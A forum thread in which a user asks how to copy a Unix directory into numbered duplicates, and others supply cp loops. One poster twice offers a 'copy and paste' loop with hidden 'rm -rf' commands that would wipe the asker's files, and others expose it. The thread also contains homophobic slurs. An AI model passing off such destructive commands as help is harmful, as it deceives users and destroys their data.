Copy command help please

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Mutt
    Too lazy to set a custom title
    • Sep 2002
    • 34431

    #1

    Copy command help please

    i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc

    what would the Unix copy command be to create those?

    thanks
    I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
  • Babaganoosh
    ♥♥♥ Likes Hugs ♥♥♥
    • Nov 2001
    • 15841

    #2
    cp /path/to/source /path/to/destination -R
    I like pie.

    Comment

    • Mutt
      Too lazy to set a custom title
      • Sep 2002
      • 34431

      #3
      Originally posted by Babaganoosh
      cp /path/to/source /path/to/destination -R
      thanks will try
      I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

      Comment

      • Babaganoosh
        ♥♥♥ Likes Hugs ♥♥♥
        • Nov 2001
        • 15841

        #4
        Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.
        I like pie.

        Comment

        • Mutt
          Too lazy to set a custom title
          • Sep 2002
          • 34431

          #5
          ...... and didn't work
          I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

          Comment

          • Mutt
            Too lazy to set a custom title
            • Sep 2002
            • 34431

            #6
            Originally posted by Babaganoosh
            Or are you wanting to make blah1 blah2 blah3 automatically from one source?
            yeah that's what i want
            I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

            Comment

            • Babaganoosh
              ♥♥♥ Likes Hugs ♥♥♥
              • Nov 2001
              • 15841

              #7
              Originally posted by Mutt
              yeah that's what i want
              Ahh, then do

              for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

              1 would be the first dir made, 5 would be the last
              I like pie.

              Comment

              • Killswitch
                REVOLUTIONARY
                • Oct 2012
                • 2569

                #8
                What errors are you getting?

                Comment

                • Mutt
                  Too lazy to set a custom title
                  • Sep 2002
                  • 34431

                  #9
                  Originally posted by Babaganoosh
                  Ahh, then do

                  for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

                  1 would be the first dir made, 5 would be the last
                  didn't work - no copies created

                  cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

                  probably didn't understand the {1..5}
                  I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

                  Comment

                  • Mutt
                    Too lazy to set a custom title
                    • Sep 2002
                    • 34431

                    #10
                    Originally posted by Killswitch
                    What errors are you getting?
                    not getting errors - just gives me usage formats for the cp command

                    greek to me
                    I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

                    Comment

                    • Killswitch
                      REVOLUTIONARY
                      • Oct 2012
                      • 2569

                      #11
                      Originally posted by Mutt
                      not getting errors - just gives me usage formats for the cp command

                      greek to me
                      cp -r /path/to/directory /path/to/destination

                      Flag first.

                      Comment

                      • AutumnBH
                        Confirmed User
                        • Oct 2012
                        • 298

                        #12
                        Copy and paste this to the command line, should work:

                        Code:
                        for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done
                        Last edited by AutumnBH; 11-17-2012, 09:05 PM.

                        Comment

                        • Babaganoosh
                          ♥♥♥ Likes Hugs ♥♥♥
                          • Nov 2001
                          • 15841

                          #13
                          Originally posted by Mutt
                          didn't work - no copies created

                          cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

                          probably didn't understand the {1..5}
                          You need the whole command.

                          Code:
                          for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done
                          I like pie.

                          Comment

                          • Babaganoosh
                            ♥♥♥ Likes Hugs ♥♥♥
                            • Nov 2001
                            • 15841

                            #14
                            DO NOT run the code from AutumnBH
                            I like pie.

                            Comment

                            • Killswitch
                              REVOLUTIONARY
                              • Oct 2012
                              • 2569

                              #15
                              Originally posted by AutumnBH
                              Copy and paste this to the command line, should work:

                              Code:
                              for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done
                              Get fucked you faggot.

                              Comment

                              • Killswitch
                                REVOLUTIONARY
                                • Oct 2012
                                • 2569

                                #16
                                Originally posted by Babaganoosh
                                You need the whole command.

                                Code:
                                for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done
                                I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

                                Code:
                                for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
                                Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

                                Comment

                                • Babaganoosh
                                  ♥♥♥ Likes Hugs ♥♥♥
                                  • Nov 2001
                                  • 15841

                                  #17
                                  Originally posted by Killswitch
                                  I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

                                  Code:
                                  for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
                                  Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
                                  The position of the flag doesn't matter. I've always used an upper case R for recursive. From the man page:

                                  -R, -r, --recursive
                                  copy directories recursively
                                  I like pie.

                                  Comment

                                  • AutumnBH
                                    Confirmed User
                                    • Oct 2012
                                    • 298

                                    #18
                                    Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

                                    Code:
                                    for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done

                                    Comment

                                    • Babaganoosh
                                      ♥♥♥ Likes Hugs ♥♥♥
                                      • Nov 2001
                                      • 15841

                                      #19
                                      Originally posted by Killswitch
                                      Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
                                      You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

                                      # rm -rf /
                                      rm: it is dangerous to operate recursively on `/'
                                      rm: use --no-preserve-root to override this failsafe

                                      edit: if it DID work I can literally replace the vm in 30 seconds.
                                      Last edited by Babaganoosh; 11-17-2012, 09:14 PM.
                                      I like pie.

                                      Comment

                                      • Killswitch
                                        REVOLUTIONARY
                                        • Oct 2012
                                        • 2569

                                        #20
                                        Originally posted by AutumnBH
                                        Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

                                        Code:
                                        for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done
                                        You're an idiot, rm -rf doesn't work on latest versions of linux, maybe you should upgrade that welfare server you use.

                                        Comment

                                        • Killswitch
                                          REVOLUTIONARY
                                          • Oct 2012
                                          • 2569

                                          #21
                                          Originally posted by Babaganoosh
                                          You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

                                          # rm -rf /
                                          rm: it is dangerous to operate recursively on `/'
                                          rm: use --no-preserve-root to override this failsafe

                                          Comment

                                          • AutumnBH
                                            Confirmed User
                                            • Oct 2012
                                            • 298

                                            #22
                                            rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).

                                            And superior users use a real Unix

                                            Comment

                                            • Mutt
                                              Too lazy to set a custom title
                                              • Sep 2002
                                              • 34431

                                              #23
                                              Originally posted by Killswitch
                                              I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

                                              Code:
                                              for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
                                              Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
                                              that worked

                                              i have to make them one by one it seems

                                              thanks Babaganoosh and Killswitch
                                              I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

                                              Comment

                                              • xXXtesy10
                                                Fakecoin Investor
                                                • Jul 2012
                                                • 7127

                                                #24
                                                Originally posted by AutumnBH
                                                Copy and paste this to the command line, should work:

                                                Code:
                                                for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done
                                                WARNING: Stay Away From Marlboroack aka aka Brandon Ackerman
                                                http://gfy.com/21169705-post8.html
                                                Donny Long is Felon, Stalker, Scammer & Coward
                                                http://www.ripoffreport.com/reports/...lon-int-761244

                                                Comment

                                                • freecartoonporn
                                                  Confirmed User
                                                  • Jan 2012
                                                  • 7683

                                                  #25
                                                  rm -rf *; done

                                                  lol lol lol
                                                  SSD Cloud Server, VPS Server, Simple Cloud Hosting | DigitalOcean

                                                  Comment

                                                  • Killswitch
                                                    REVOLUTIONARY
                                                    • Oct 2012
                                                    • 2569

                                                    #26
                                                    Originally posted by Mutt
                                                    that worked

                                                    i have to make them one by one it seems

                                                    thanks Babaganoosh and Killswitch
                                                    No problem man!

                                                    Comment

                                                    • Mr Pheer
                                                      So Fucking Banned
                                                      • Dec 2002
                                                      • 22083

                                                      #27
                                                      Originally posted by AutumnBH
                                                      Copy and paste this to the command line, should work:

                                                      Code:
                                                      for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

                                                      what the fuck?

                                                      Comment

                                                      Working...